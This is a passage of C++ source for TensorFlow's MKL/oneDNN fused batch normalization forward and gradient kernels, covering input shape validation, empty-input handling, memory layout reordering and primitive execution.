U>*>( MklFusedBatchNormBwdPrimitiveFactory<T, U>::GetInstance() .GetBatchNormBwd(bwdParams)); if (bn_bwd == nullptr) { bn_bwd = new MklFusedBatchNormBwdPrimitive<T, U>(bwdParams); MklFusedBatchNormBwdPrimitiveFactory<T, U>::GetInstance().SetBatchNormBwd( bwdParams, bn_bwd); } return bn_bwd; } static MklFusedBatchNormBwdPrimitiveFactory& GetInstance() { static MklFusedBatchNormBwdPrimitiveFactory instance_; return instance_; } private: MklFusedBatchNormBwdPrimitiveFactory() {} ~MklFusedBatchNormBwdPrimitiveFactory() {} static string CreateKey(const MklBatchNormBwdParams& bwdParams) { string prefix = "bn_bwd"; FactoryKeyCreator key_creator; key_creator.AddAsKey(prefix); key_creator.AddAsKey(bwdParams.src_dims); key_creator.AddAsKey(bwdParams.diff_dst_dims); key_creator.AddAsKey<int>(bwdParams.depth); key_creator.AddAsKey<float>(bwdParams.eps); key_creator.AddAsKey<bool>(bwdParams.training); key_creator.AddAsKey<TensorFormat>(bwdParams.data_format); key_creator.AddAsKey(typeid(T).name()); key_creator.AddAsKey(typeid(U).name()); return key_creator.GetKey(); } MklPrimitive* GetBatchNormBwd(const MklBatchNormBwdParams& bwdParams) { string key = CreateKey(bwdParams); return this->GetOp(key); } void SetBatchNormBwd(const MklBatchNormBwdParams& bwdParams, MklPrimitive* op) { string key = CreateKey(bwdParams); this->SetOp(key, op); } }; // Adding a third parameter to the template to support FusedBatchNormV3 // with MKL. This is different from default where the classes are // derived. Moves enabling to compile-time rather than runtime. template <typename Device, typename T, typename U, bool reserved_space, bool is_batch_norm_ex = false, bool native_format = false> class MklFusedBatchNormOp : public OpKernel { public: explicit MklFusedBatchNormOp(OpKernelConstruction* context) : OpKernel(context) { float epsilon; OP_REQUIRES_OK(context, context->GetAttr("epsilon", &epsilon)); epsilon_ = epsilon; float exponential_avg_factor; OP_REQUIRES_OK(context, context->GetAttr("exponential_avg_factor", &exponential_avg_factor)); exponential_avg_factor_ = static_cast<U>(exponential_avg_factor); string tensor_format; OP_REQUIRES_OK(context, context->GetAttr("data_format", &tensor_format)); OP_REQUIRES(context, FormatFromString(tensor_format, &tensor_format_), errors::InvalidArgument("Invalid data format")); OP_REQUIRES_OK(context, context->GetAttr("is_training", &is_training_)); depth_ = 0; mean_values_ = nullptr; variance_values_ = nullptr; if (!is_batch_norm_ex) { activation_mode_ = FusedBNActivationMode::kIdentity; } else { int num_side_inputs; OP_REQUIRES_OK(context, context->GetAttr("num_side_inputs", &num_side_inputs)); // Currently _MKLFusedBatchNormEx do not support "SideInput" OP_REQUIRES(context, num_side_inputs == 0, errors::InvalidArgument( "_MKLFusedBatchNorm do not support side input now.")); OP_REQUIRES_OK(context, ParseActivationMode(context, &activation_mode_)); OP_REQUIRES(context, activation_mode_ == FusedBNActivationMode::kRelu, errors::InvalidArgument( "_MKLFusedBatchNorm only support Relu activation")); } } void Compute(OpKernelContext* context) override { try { const size_t kSrcIndex = 0; // index of src input tensor const size_t kScaleIndex = 1; // index of scale tensor const size_t kShiftIndex = 2; // index of shift tensor const size_t kMeanIndex = 3; // index of est_mean tensor const size_t kVarianceIndex = 4; // index of est_variance tensor const Tensor& src_tensor = MklGetInput(context, kSrcIndex); const Tensor& scale_tensor = MklGetInput(context, kScaleIndex); const Tensor& shift_tensor = MklGetInput(context, kShiftIndex); const Tensor& est_mean_tensor = MklGetInput(context, kMeanIndex); const Tensor& est_variance_tensor = MklGetInput(context, kVarianceIndex); TensorShape tf_shape_src; MklDnnShape dnn_shape_src; GetMklShape(context, kSrcIndex, &dnn_shape_src, native_format); if (dnn_shape_src.IsMklTensor()) { tf_shape_src = dnn_shape_src.GetTfShape(); OP_REQUIRES(context, dnn_shape_src.GetDimension() == 4, errors::InvalidArgument("input must be 4-dimensional", src_tensor.shape().DebugString())); } else { tf_shape_src = src_tensor.shape(); OP_REQUIRES(context, src_tensor.dims() == 4, errors::InvalidArgument("input must be 4-dimensional", src_tensor.shape().DebugString())); } OP_REQUIRES(context, scale_tensor.dims() == 1, errors::InvalidArgument("scale must be 1-dimensional", scale_tensor.shape().DebugString())); OP_REQUIRES(context, shift_tensor.dims() == 1, errors::InvalidArgument("offset must be 1-dimensional", shift_tensor.shape().DebugString())); OP_REQUIRES( context, est_mean_tensor.dims() == 1, errors::InvalidArgument("estimated_mean must be 1-dimensional", est_mean_tensor.shape().DebugString())); OP_REQUIRES( context, est_variance_tensor.dims() == 1, errors::InvalidArgument("estimated_variance must be 1-dimensional", est_variance_tensor.shape().DebugString())); int num_channels; if (dnn_shape_src.IsMklTensor()) { num_channels = dnn_shape_src.DimSize(MklDnnDims::Dim_C); } else { num_channels = GetTensorDim(src_tensor, tensor_format_, 'C'); } OP_REQUIRES(context, scale_tensor.NumElements() == num_channels, errors::InvalidArgument( "scale must have the same number of elements " "as the channels of x, got ", scale_tensor.NumElements(), " and ", num_channels)); OP_REQUIRES(context, shift_tensor.NumElements() == num_channels, errors::InvalidArgument( "offset must have the same number of elements " "as the channels of x, got ", shift_tensor.NumElements(), " and ", num_channels)); if (!is_training_ || exponential_avg_factor_ != 1.) { std::string prefix_msg = is_training_ ? "When exponential_avg_factor != 1" : "When is_training=false"; OP_REQUIRES(context, est_mean_tensor.NumElements() == num_channels, errors::InvalidArgument( prefix_msg, ", mean must have the same number " "of elements as the channels of x, got ", est_mean_tensor.NumElements(), " and ", num_channels)); OP_REQUIRES( context, est_variance_tensor.NumElements() == num_channels, errors::InvalidArgument( prefix_msg, ", variance must have the same " "number of elements as the channels of x, got ", est_variance_tensor.NumElements(), " and ", num_channels)); } // Handle the special case: input with 0 element and 0 batch size. Tensor* dst_tensor = nullptr; TensorShape workspace_tf_shape; if (tf_shape_src.num_elements() == 0) { size_t workspace_bytes = 0; workspace_tf_shape.AddDim(workspace_bytes); HandleEmptyInput(context, tf_shape_src, workspace_tf_shape, scale_tensor.shape(), &dst_tensor); return; } if (dnn_shape_src.IsMklTensor()) depth_ = dnn_shape_src.DimSize(MklDnnDims::Dim_C); else ExtractParams(context); // Index of output tensor(diff_src). const size_t kDstIndex = 0; // Allocate 5 output TF tensors. Tensor* batch_mean_tensor = nullptr; Tensor* batch_variance_tensor = nullptr; Tensor* saved_mean_tensor = nullptr; Tensor* saved_variance_tensor = nullptr; Tensor* reserved_space_tensor = nullptr; MklDnnData<T> src(&cpu_engine_); MklDnnData<U> weights(&cpu_engine_); MklDnnData<U> wksp(&cpu_engine_); memory::format_tag dnn_fmt; MklTensorFormat mkl_tensor_fmt; if (dnn_shape_src.IsMklTensor()) { if (dnn_shape_src.IsTensorInNCHWFormat()) { dnn_fmt = memory::format_tag::nchw; mkl_tensor_fmt = MklTensorFormat::FORMAT_NCHW; } else { dnn_fmt = memory::format_tag::nhwc; mkl_tensor_fmt = MklTensorFormat::FORMAT_NHWC; } } else { mkl_tensor_fmt = TFDataFormatToMklDnnDataFormat(tensor_format_); dnn_fmt = MklTensorFormatToMklDnnDataFormat(mkl_tensor_fmt); } // Set src memory descriptor. memory::dims src_dims = dnn_shape_src.IsMklTensor() ? dnn_shape_src.GetSizesAsMklDnnDims() : TFShapeToMklDnnDimsInNCHW(src_tensor.shape(), tensor_format_); auto src_md = dnn_shape_src.IsMklTensor() ? dnn_shape_src.GetMklLayout() : memory::desc(src_dims, MklDnnType<T>(), dnn_fmt); MklBatchNormFwdParams fwdParams(src_dims, depth_, epsilon_, is_training_, tensor_format_, src_md, activation_mode_); // Get forward batch-normalization op from the primitive caching pool. MklFusedBatchNormFwdPrimitive<T, U>* bn_fwd = MklFusedBatchNormFwdPrimitiveFactory<T, U>::Get(fwdParams); // Allocate workspace tensor U* ws_data = nullptr; if (fwdParams.activation_mode == FusedBNActivationMode::kRelu) { memory::desc workspace_md = bn_fwd->GetBatchNormFwdPd()->workspace_desc(); size_t workspace_bytes = workspace_md.get_size(); workspace_tf_shape.AddDim(workspace_bytes); AllocateTFOutputs(context, scale_tensor.shape(), workspace_tf_shape, &batch_mean_tensor, &batch_variance_tensor, &saved_mean_tensor, &saved_variance_tensor, &reserved_space_tensor); if (reserved_space) { wksp.SetUsrMem(workspace_md, reserved_space_tensor); ws_data = static_cast<U*>(wksp.GetOpMem().get_data_handle()); } } else { // There is actually no workspace tensor out, so we make a dummy one. size_t workspace_bytes = 0; workspace_tf_shape.AddDim(workspace_bytes); AllocateTFOutputs(context, scale_tensor.shape(), workspace_tf_shape, &batch_mean_tensor, &batch_variance_tensor, &saved_mean_tensor, &saved_variance_tensor, &reserved_space_tensor); } if (is_training_) SetMeanVariance(*batch_mean_tensor, *batch_variance_tensor); else SetMeanVariance(est_mean_tensor, est_variance_tensor); // oneDNN packs scale & shift as "weights": // <scale>...<scale><shift>...<shift> weights.AllocateBuffer(2 * depth_ * sizeof(U)); U* weights_data = reinterpret_cast<U*>(weights.GetAllocatedBuffer()); const U* scale_tf = scale_tensor.flat<U>().data(); const U* shift_tf = shift_tensor.flat<U>().data(); std::memcpy(weights_data, scale_tf, depth_ * sizeof(U)); std::memcpy(weights_data + depth_, shift_tf, depth_ * sizeof(U)); char* saved_mean_data_tf = reinterpret_cast<char*>(saved_mean_tensor->flat<U>().data()); std::memcpy(saved_mean_data_tf, reinterpret_cast<char*>(mean_values_), depth_ * sizeof(U)); char* saved_variance_data_tf = reinterpret_cast<char*>(saved_variance_tensor->flat<U>().data()); std::memcpy(saved_variance_data_tf, reinterpret_cast<char*>(variance_values_), depth_ * sizeof(U)); // Check if reorder is needed for src. const T* src_data = nullptr; std::shared_ptr<BatchNormFwdPd> bn_fwd_pd = bn_fwd->GetBatchNormFwdPd(); if (!native_format && src_md != bn_fwd_pd->src_desc()) { src.SetUsrMem(src_md, &src_tensor); src.CheckReorderToOpMem(bn_fwd_pd->src_desc(), cpu_engine_, context); src_data = static_cast<T*>(src.GetOpMem().get_data_handle()); } else { src_data = static_cast<T*>(const_cast<T*>(src_tensor.flat<T>().data())); } // Allocate output (dst) tensor MklDnnShape dnn_shape_dst; TensorShape tf_shape_dst; dnn_shape_dst.SetMklTensor(true); auto dst_pd = bn_fwd->GetDstPd(); dnn_shape_dst.SetMklLayout(&dst_pd); dnn_shape_dst.SetElemType(MklDnnType<T>()); auto ndims = dnn_shape_src.IsMklTensor() ? dnn_shape_src.GetDimension() : src_tensor.shape().dims(); dnn_shape_dst.SetTfLayout(ndims, src_dims, mkl_tensor_fmt); tf_shape_dst.AddDim(dst_pd.get_size() / sizeof(T)); if (native_format) { tf_shape_dst = dnn_shape_dst.GetTfShape(); } AllocateOutputSetMklShape(context, kDstIndex, &dst_tensor, tf_shape_dst, dnn_shape_dst, native_format); U* weights_op_data = weights_data; U* mean_op_data = saved_mean_tensor->flat<U>().data(); U* variance_op_data = saved_variance_tensor->flat<U>().data(); T* dst_data = dst_tensor->flat<T>().data(); // Execute std::shared_ptr<stream> fwd_cpu_stream; MklDnnThreadPool eigen_tp(context); fwd_cpu_stream.reset(CreateStream(&eigen_tp, bn_fwd->GetEngine())); bn_fwd->Execute(src_data, weights_op_data, dst_data, mean_op_data, variance_op_data, fwd_cpu_stream, ws_data); float adjust_factor = 1.0; if (is_training_) { size_t orig_size = src_dims[0] * src_dims[2] * src_dims[3]; size_t adjust_size = (orig_size > 1) ? (orig_size - 1) : 1; adjust_factor = (static_cast<float>(orig_size)) / adjust_size; } auto mean_data = reinterpret_cast<U*>(saved_mean_data_tf); auto variance_data = reinterpret_cast<U*>(saved_variance_data_tf); auto batch_mean_data = batch_mean_tensor->flat<U>().data(); auto batch_variance_data = batch_variance_tensor->flat<U>().data(); auto est_mean_data = est_mean_tensor.flat<U>().data(); auto est_variance_data = est_variance_tensor.flat<U>().data(); if (is_training_) { if (exponential_avg_factor_ == U(1.0)) { for (int k = 0; k < depth_; k++) { batch_mean_data[k] = mean_data[k]; batch_variance_data[k] = static_cast<U>(adjust_factor) * variance_data[k]; } } else { U one_minus_factor = U(1.0) - exponential_avg_factor_; for (int k = 0; k < depth_; k++) { batch_mean_data[k] = one_minus_factor * est_mean_data[k] + exponential_avg_factor_ * mean_data[k]; batch_variance_data[k] = one_minus_factor * est_variance_data[k] + exponential_avg_factor_ * static_cast<U>(adjust_factor) * variance_data[k]; } } } else { std::memcpy(batch_mean_data, mean_data, depth_ * sizeof(U)); std::memcpy(batch_variance_data, variance_data, depth_ * sizeof(U)); } } catch (dnnl::error& e) { string error_msg = "Status: " + std::to_string(e.status) + ", message: " + string(e.message) + ", in file " + string(__FILE__) + ":" + std::to_string(__LINE__); OP_REQUIRES_OK( context, errors::Aborted("Operation received an exception:", error_msg)); } } private: float epsilon_; U exponential_avg_factor_; TensorFormat tensor_format_; bool is_training_; U* mean_values_; U* variance_values_; size_t depth_; // Batch normalization is performed for per channel. FusedBNActivationMode activation_mode_; engine cpu_engine_ = engine(engine::kind::cpu, 0); void ExtractParams(OpKernelContext* context) { const Tensor& input = MklGetInput(context, 0); depth_ = static_cast<int>(GetTensorDim(input, tensor_format_, 'C')); } void SetMeanVariance(const Tensor& mean, const Tensor& variance) { mean_values_ = reinterpret_cast<U*>(const_cast<U*>(mean.flat<U>().data())); variance_values_ = reinterpret_cast<U*>(const_cast<U*>(variance.flat<U>().data())); } void HandleEmptyInput(OpKernelContext* context, TensorShape tf_shape_src, TensorShape workspace_tf_shape, TensorShape tf_shape_scale, Tensor** dst_tensor) { DCHECK(dst_tensor); const size_t kDstIndex = 0; MklDnnShape dnn_shape_dst; dnn_shape_dst.SetMklTensor(false); AllocateOutputSetMklShape(context, kDstIndex, dst_tensor, tf_shape_src, dnn_shape_dst, native_format); DCHECK(*dst_tensor); memset(const_cast<char*>((*dst_tensor)->tensor_data().data()), 0, (*dst_tensor)->tensor_data().size()); Tensor* batch_mean_tensor = nullptr; Tensor* batch_variance_tensor = nullptr; Tensor* saved_mean_tensor = nullptr; Tensor* saved_variance_tensor = nullptr; Tensor* reserved_space_tensor = nullptr; AllocateTFOutputs(context, tf_shape_scale, workspace_tf_shape, &batch_mean_tensor, &batch_variance_tensor, &saved_mean_tensor, &saved_variance_tensor, &reserved_space_tensor); } void AllocateTFOutputs(OpKernelContext* context, TensorShape tf_shape_scale, TensorShape workspace_tf_shape, Tensor** batch_mean_tensor, Tensor** batch_variance_tensor, Tensor** saved_mean_tensor, Tensor** saved_variance_tensor, Tensor** reserved_space_tensor) { DCHECK(batch_mean_tensor); DCHECK(batch_variance_tensor); DCHECK(saved_mean_tensor); DCHECK(saved_variance_tensor); const size_t kBatchMeanIndex = 1; const size_t kBatchVarianceIndex = 2; const size_t kSavedMeanIndex = 3; const size_t kSavedVarianceIndex = 4; const size_t kReservedSpaceIndex = 5; // Allocate batch mean output tensor. MklDnnShape mkl_shape_batch_mean; mkl_shape_batch_mean.SetMklTensor(false); AllocateOutputSetMklShape(context, kBatchMeanIndex, batch_mean_tensor, tf_shape_scale, mkl_shape_batch_mean, native_format); DCHECK(*batch_mean_tensor); // Set NAN mean value in case of empty input tensor int num_elements = tf_shape_scale.num_elements(); auto batch_mean_data = (*batch_mean_tensor)->flat<U>().data(); std::fill_n(batch_mean_data, num_elements, static_cast<U>(NAN)); // Allocate batch variance output tensor. MklDnnShape mkl_shape_batch_variance; mkl_shape_batch_variance.SetMklTensor(false); AllocateOutputSetMklShape(context, kBatchVarianceIndex, batch_variance_tensor, tf_shape_scale, mkl_shape_batch_variance, native_format); DCHECK(*batch_variance_tensor); // Set NAN variance value in case of empty input tensor auto batch_variance_data = (*batch_variance_tensor)->flat<U>().data(); std::fill_n(batch_variance_data, num_elements, static_cast<U>(NAN)); // Mean and variance (without Bessel's correction) saved for backward // computation to serve as pre-computed mean and variance. MklDnnShape mkl_shape_saved_mean; mkl_shape_saved_mean.SetMklTensor(false); AllocateOutputSetMklShape(context, kSavedMeanIndex, saved_mean_tensor, tf_shape_scale, mkl_shape_saved_mean, native_format); DCHECK(*saved_mean_tensor); // Set 0 mean value in case of empty input tensor auto saved_mean_data = (*saved_mean_tensor)->flat<U>().data(); std::fill_n(saved_mean_data, num_elements, static_cast<U>(0)); MklDnnShape mkl_shape_saved_variance; mkl_shape_saved_variance.SetMklTensor(false); AllocateOutputSetMklShape(context, kSavedVarianceIndex, saved_variance_tensor, tf_shape_scale, mkl_shape_saved_variance, native_format); DCHECK(*saved_variance_tensor); // Set 0 variance value in case of empty input tensor auto saved_variance_data = (*saved_variance_tensor)->flat<U>().data(); std::fill_n(saved_variance_data, num_elements, static_cast<U>(0)); // Changes to support reserved_space_3 parameter in FusedBatchNormV3. if (reserved_space) { DCHECK(reserved_space_tensor != nullptr); MklDnnShape mkl_shape_reserved_space; mkl_shape_reserved_space.SetMklTensor(false); AllocateOutputSetMklShape(context, kReservedSpaceIndex, reserved_space_tensor, workspace_tf_shape, mkl_shape_reserved_space, native_format); DCHECK((*reserved_space_tensor) != nullptr); } } }; template <typename Device, typename T, typename U, bool reserved_space, bool native_format = false> class MklFusedBatchNormGradOp : public OpKernel { public: explicit MklFusedBatchNormGradOp(OpKernelConstruction* context) : OpKernel(context) { float epsilon; OP_REQUIRES_OK(context, context->GetAttr("epsilon", &epsilon)); epsilon_ = epsilon; string tensor_format; OP_REQUIRES_OK(context, context->GetAttr("data_format", &tensor_format)); OP_REQUIRES(context, FormatFromString(tensor_format, &tensor_format_), errors::InvalidArgument("Invalid data format")); OP_REQUIRES_OK(context, context->GetAttr("is_training", &is_training_)); depth_ = 0; } void Compute(OpKernelContext* context) override { try { const size_t kDiffDstIndex = 0; // index of diff_dst tensor const size_t kSrcIndex = 1; // index of src input tensor const size_t kScaleIndex = 2; // index of scale tensor const size_t kMeanIndex = 3; // index of saved_mean tensor const size_t kVarianceIndex = 4; // index of saved_variance tensor const size_t kReservedSpaceIndex = 5; // index of reserved space 3 tensor const Tensor& diff_dst_tensor = MklGetInput(context, kDiffDstIndex); const Tensor& src_tensor = MklGetInput(context, kSrcIndex); const Tensor& scale_tensor = MklGetInput(context, kScaleIndex); const Tensor& saved_mean_tensor = MklGetInput(context, kMeanIndex); const Tensor& saved_variance_tensor = MklGetInput(context, kVarianceIndex); const Tensor& reserved_space_tensor = (reserved_space) ? MklGetInput(context, kReservedSpaceIndex) : Tensor(); MklDnnShape dnn_shape_src, dnn_shape_diff_dst; GetMklShape(context, kSrcIndex, &dnn_shape_src, native_format); GetMklShape(context, kDiffDstIndex, &dnn_shape_diff_dst, native_format); TensorShape tf_shape_src, tf_shape_diff_dst; if (dnn_shape_diff_dst.IsMklTensor()) { tf_shape_diff_dst = dnn_shape_diff_dst.GetTfShape(); OP_REQUIRES( context, dnn_shape_diff_dst.GetDimension() == 4, errors::InvalidArgument("input must be 4-dimensional", diff_dst_tensor.shape().DebugString())); } else { tf_shape_diff_dst = diff_dst_tensor.shape(); OP_REQUIRES( context, diff_dst_tensor.dims() == 4, errors::InvalidArgument("input must be 4-dimensional", diff_dst_tensor.shape().DebugString())); } if (dnn_shape_src.IsMklTensor()) { tf_shape_src = dnn_shape_src.GetTfShape(); OP_REQUIRES(context, dnn_shape_src.GetDimension() == 4, errors::InvalidArgument("input must be 4-dimensional", src_tensor.shape().DebugString())); } else { tf_shape_src = src_tensor.shape(); OP_REQUIRES(context, src_tensor.dims() == 4, errors::InvalidArgument("input must be 4-dimensional", src_tensor.shape().DebugString())); } OP_REQUIRES(context, scale_tensor.dims() == 1, errors::InvalidArgument("scale must be 1-dimensional", scale_tensor.shape().DebugString())); OP_REQUIRES( context, saved_mean_tensor.dims() == 1, errors::InvalidArgument("saved mean must be 1-dimensional", saved_mean_tensor.shape().DebugString())); OP_REQUIRES( context, saved_variance_tensor.dims() == 1, errors::InvalidArgument("saved variance must be 1-dimensional", saved_variance_tensor.shape().DebugString())); OP_REQUIRES(context, tf_shape_src == tf_shape_diff_dst, errors::InvalidArgument( "x and y_backprop must have same shape, but x has shape ", src_tensor.shape(), " and y_backprop has shape ", diff_dst_tensor.shape())); int num_channels; if (dnn_shape_src.IsMklTensor()) { num_channels = dnn_shape_src.DimSize(MklDnnDims::Dim_C); } else { num_channels = GetTensorDim(src_tensor, tensor_format_, 'C'); } OP_REQUIRES(context, scale_tensor.NumElements() == num_channels, errors::InvalidArgument( "scale must have the same number of elements " "as the channels of x, got ", scale_tensor.NumElements(), " and ", num_channels)); OP_REQUIRES(context, saved_mean_tensor.NumElements() == num_channels, errors::InvalidArgument( "reserve_space_1 must have the same number of " "elements as the channels of x, got ", saved_mean_tensor.NumElements(), " and ", num_channels)); OP_REQUIRES( context, saved_variance_tensor.NumElements() == num_channels, errors::InvalidArgument( "reserve_space_2 must have the same number of " "elements as the channels of x, got ", saved_variance_tensor.NumElements(), " and ", num_channels)); // Handle the special case: input with 0 element and 0 batch size. Tensor* diff_src_tensor = nullptr; if (tf_shape_src.num_elements() == 0 || tf_shape_diff_dst.num_elements() == 0) { HandleEmptyInput(context, tf_shape_src, scale_tensor.shape(), &diff_src_tensor); return; } if (dnn_shape_src.IsMklTensor()) { depth_ = dnn_shape_src.DimSize(MklDnnDims::Dim_C); } else if (dnn_shape_diff_dst.IsMklTensor()) { depth_ = dnn_shape_diff_dst.DimSize(MklDnnDims::Dim_C); } else { ExtractParams(context); } memory::format_tag dnn_fmt; MklTensorFormat mkl_tensor_fmt; if (dnn_shape_src.IsMklTensor()) { if (dnn_shape_src.IsTensorInNCHWFormat()) { dnn_fmt = memory::format_tag::nchw; mkl_tensor_fmt = MklTensorFormat::FORMAT_NCHW; } else { dnn_fmt = memory::format_tag::nhwc; mkl_tensor_fmt = MklTensorFormat::FORMAT_NHWC; } } else { mkl_tensor_fmt = TFDataFormatToMklDnnDataFormat(tensor_format_); dnn_fmt = MklTensorFormatToMklDnnDataFormat(mkl_tensor_fmt); } MklDnnData<T> src(&cpu_engine_); MklDnnData<T> diff_dst(&cpu_engine_); MklDnnData<U> weights(&cpu_engine_); MklDnnData<U> diff_weights(&cpu_engine_); memory::dims src_dims = dnn_shape_src.IsMklTensor() ? dnn_shape_src.GetSizesAsMklDnnDims() : TFShapeToMklDnnDimsInNCHW(src_tensor.shape(), tensor_format_); memory::dims diff_dst_dims = dnn_shape_diff_dst.IsMklTensor() ? dnn_shape_diff_dst.GetSizesAsMklDnnDims() : TFShapeToMklDnnDimsInNCHW(diff_dst_tensor.shape(), tensor_format_); // Set src and diff_dst primitive descriptors. memory::desc src_md = dnn_shape_src.IsMklTensor() ? dnn_shape_src.GetMklLayout() : memory::desc(src_dims, MklDnnType<T>(), dnn_fmt); memory::desc diff_dst_md = dnn_shape_diff_dst.IsMklTensor() ? dnn_shape_diff_dst.GetMklLayout() : memory::desc(diff_dst_dims, MklDnnType<T>(), dnn_fmt); MklDnnData<T> reorder_src(&cpu_engine_); MklDnnData<T> reorder_diff_dst(&cpu_engine_); T* diff_dst_data = static_cast<T*>(const_cast<T*>(diff_dst_tensor.flat<T>().data())); T* src_data = static_cast<T*>(const_cast<T*>(src_tensor.flat<T>().data())); if (!native_format) { // oneDNN requires src and diff_dst to be in same memory layout, either // blocked or native format. If these inputs are in different formats, // convert the one in native format to blocked format as oneDNN gives // better performance for blocked format. if (dnn_shape_src.IsMklTensor() && !dnn_shape_diff_dst.IsMklTensor()) { reorder_diff_dst.SetUsrMem(diff_dst_md, &diff_dst_tensor); reorder_diff_dst.CheckReorderToOpMem(src_md, cpu_engine_, context); diff_dst_md = src_md; diff_dst_data = static_cast<T*>(reorder_diff_dst.GetOpMem().get_data_handle()); } else if (!dnn_shape_src.IsMklTensor() && dnn_shape_diff_dst.IsMklTensor()) { reorder_src.SetUsrMem(src_md, &src_tensor); reorder_src.CheckReorderToOpMem(diff_dst_md, cpu_engine_, context); src_md = diff_dst_md; src_data = static_cast<T*>(reorder_src.GetOpMem().get_data_handle()); } } // weights -- oneDNN packs scales/shifts as weights in order // of scale, ..., scale, shift, ...., shift weights.AllocateBuffer(2 * depth_ * sizeof(U)); U* weights_data_tf = reinterpret_cast<U*>(weights.GetAllocatedBuffer()); const U* scale_tf = scale_tensor.flat<U>().data(); for (int k = 0; k < depth_; k++) { weights_data_tf[k] = scale_tf[k]; weights_data_tf[k + depth_] = static_cast<U>(0); } diff_weights.AllocateBuffer(2 * depth_ * sizeof(U)); MklBatchNormBwdParams bwdParams(src_dims, diff_dst_dims, depth_, epsilon_, is_training_, tensor_format_, src_md, diff_dst_md); MklFusedBatchNormBwdPrimitive<T, U>* bn_bwd = MklFusedBatchNormBwdPrimitiveFactory<T, U>::Get(bwdParams); // Check if diff_dst input needs to be reordered std::shared_ptr<BatchNormBwdPd> bn_bwd_pd = bn_bwd->GetBatchNormBwdPd(); if (!native_format && diff_dst_md != bn_bwd_pd->diff_dst_desc()) { diff_dst.SetUsrMem(diff_dst_md, diff_dst_data); diff_dst.CheckReorderToOpMem(bn_bwd_pd->diff_dst_desc(), cpu_engine_, context); diff_dst_data = static_cast<T*>(diff_dst.GetOpMem().get_data_handle()); } if (!native_format && (src_md != bn_bwd_pd->src_desc())) { src.SetUsrMem(src_md, src_data); src.CheckReorderToOpMem(bn_bwd_pd->src_desc(), cpu_engine_, context); src_data = static_cast<T*>(src.GetOpMem().get_data_handle()); } // Indices of output tensors const size_t kDiffSrcIndex = 0; // Allocate output tensor diff_src, always set as oneDNN layout. MklDnnShape dnn_shape_diff_src; TensorShape tf_shape_diff_src; dnn_shape_diff_src.SetMklTensor(true); auto diff_src_pd = bn_bwd->GetDiffSrcPd(); dnn_shape_diff_src.SetMklLayout(&diff_src_pd); dnn_shape_diff_src.SetElemType(MklDnnType<T>()); dnn_shape_diff_src.SetTfLayout(src_dims.size(), src_dims, mkl_tensor_fmt); dnn_shape_diff_src.SetTfDimOrder(src_dims.size(), tensor_format_); tf_shape_diff_src.AddDim(diff_src_pd.get_size() / sizeof(T)); if (native_format) { tf_shape_diff_src = dnn_shape_diff_src.GetTfShape(); } AllocateOutputSetMklShape(context, kDiffSrcIndex, &diff_src_tensor, tf_shape_diff_src, dnn_shape_diff_src, native_format); U* mean_data = static_cast<U*>(const_cast<U*>(saved_mean_tensor.flat<U>().data())); U* variance_data = static_cast<U*>( const_cast<U*>(saved_variance_tensor.flat<U>().data())); U* weights_data = weights_data_tf; T* diff_src_data = static_cast<T*>(diff_src_tensor->flat<T>().data()); U* diff_weights_data = static_cast<U*>(diff_weights.GetAllocatedBuffer()); U* res_space_data = ((reserved_space) ? static_cast<U*>(const_cast<U*>( reserved_space_tensor.flat<U>().data())) : nullptr); // Execute std::shared_ptr<stream> bwd_cpu_stream; MklDnnThreadPool eigen_tp(context); bwd_cpu_stream.reset(CreateStream(&eigen_tp, bn_bwd->GetEngine())); bn_bwd->Execute(src_data, mean_data, variance_data, diff_dst_data, weights_data, diff_src_data, diff_weights_data, res_space_data, bwd_cpu_stream); // Allocate output TF tensors diff_scale and diff_shift. Tensor* diff_scale_tensor = nullptr; Tensor* diff_shift_tensor = nullptr; AllocateTFOutputs(context, scale_tensor.shape(), &diff_scale_tensor, &diff_shift_tensor); // Copy data for tensors diff_scale and diff_shift. auto diff_scale_data = diff_scale_tensor->flat<U>().data(); auto diff_shift_data = diff_shift_tensor->flat<U>().data(); std::memcpy(reinterpret_cast<char*>(diff_scale_data), reinterpret_cast<char*>(diff_weights_data), depth_ * sizeof(U)); std::memcpy(reinterpret_cast<char*>(diff_shift_data), reinterpret_cast<char*>(diff_weights_data + depth_), depth_ * sizeof(U)); } catch (dnnl::error& e) { string error_msg = "Status: " + std::to_string(e.status) + ", message: " + string(e.message) + ", in file " + string(__FILE__) + ":" + std::to_string(__LINE__); OP_REQUIRES_OK( context, errors::Aborted("Operation received an exception:", error_msg)); } } private: float epsilon_; TensorFormat tensor_format_; size_t depth_; // Batch normalization is performed for per channel. bool is_training_; engine cpu_engine_ = engine(engine::kind::cpu, 0); void ExtractParams(OpKernelContext* context) { const Tensor& input = MklGetInput(context, 0); depth_ = static_cast<int>(GetTensorDim(input, tensor_format_, 'C')); } void HandleEmptyInput(OpKernelContext* context, TensorShape tf_shape_src, TensorShape tf_shape_scale_shift, Tensor** diff_src_tensor) { const size_t kDiffSrcIndex = 0; MklDnnShape dnn_shape_diff_src; dnn_shape_diff_src.SetMklTensor(false); AllocateOutputSetMklShape(context, kDiffSrcIndex, diff_src_tensor, tf_shape_src, dnn_shape_diff_src, native_format); auto diff_src_data = (*diff_src_tensor)->flat<T>().data(); std::fill_n(diff_src_data, (*diff_src_tensor)->shape().num_elements(), static_cast<T>(0)); Tensor* diff_scale_tensor = nullptr; Tensor* diff_shift_tensor = nullptr; AllocateTFOutputs(context, tf_shape_scale_shift, &diff_scale_tensor, &diff_shift_tensor); } void AllocateTFOutputs(OpKernelContext* context, TensorShape tf_shape_scale_shift, Tensor** diff_scale_tensor, Tensor** diff_shift_tensor) { DCHECK(diff_scale_tensor); DCHECK(diff_shift_tensor); const size_t kDiffScaleIndex = 1; const size_t kDiffShiftIndex = 2; const size_t kP1Index = 3; const size_t kP2Index = 4; // Separate out scale and shift grad and copy to individual tensors MklDnnShape mkl_shape_diff_scale; mkl_shape_diff_scale.SetMklTensor(false); AllocateOutputSetMklShape(context, kDiffScaleIndex, diff_scale_tensor, tf_shape_scale_shift, mkl_shape_diff_scale, native_format); DCHECK(*diff_scale_tensor); auto diff_scale_data = (*diff_scale_tensor)->flat<U>().data(); std::fill_n(diff_scale_data, (*diff_scale_tensor)->shape().num_elements(), static_cast<U>(0)); MklDnnShape mkl_shape_diff_shift; mkl_shape_diff_shift.SetMklTensor(false); AllocateOutputSetMklShape(context, kDiffShiftIndex, diff_shift_tensor, tf_shape_scale_shift, mkl_shape_diff_shift, native_format); DCHECK(*diff_shift_tensor); auto diff_shift_data = (*diff_shift_tensor)->flat<U>().data(); std::fill_n(diff_shift_data, 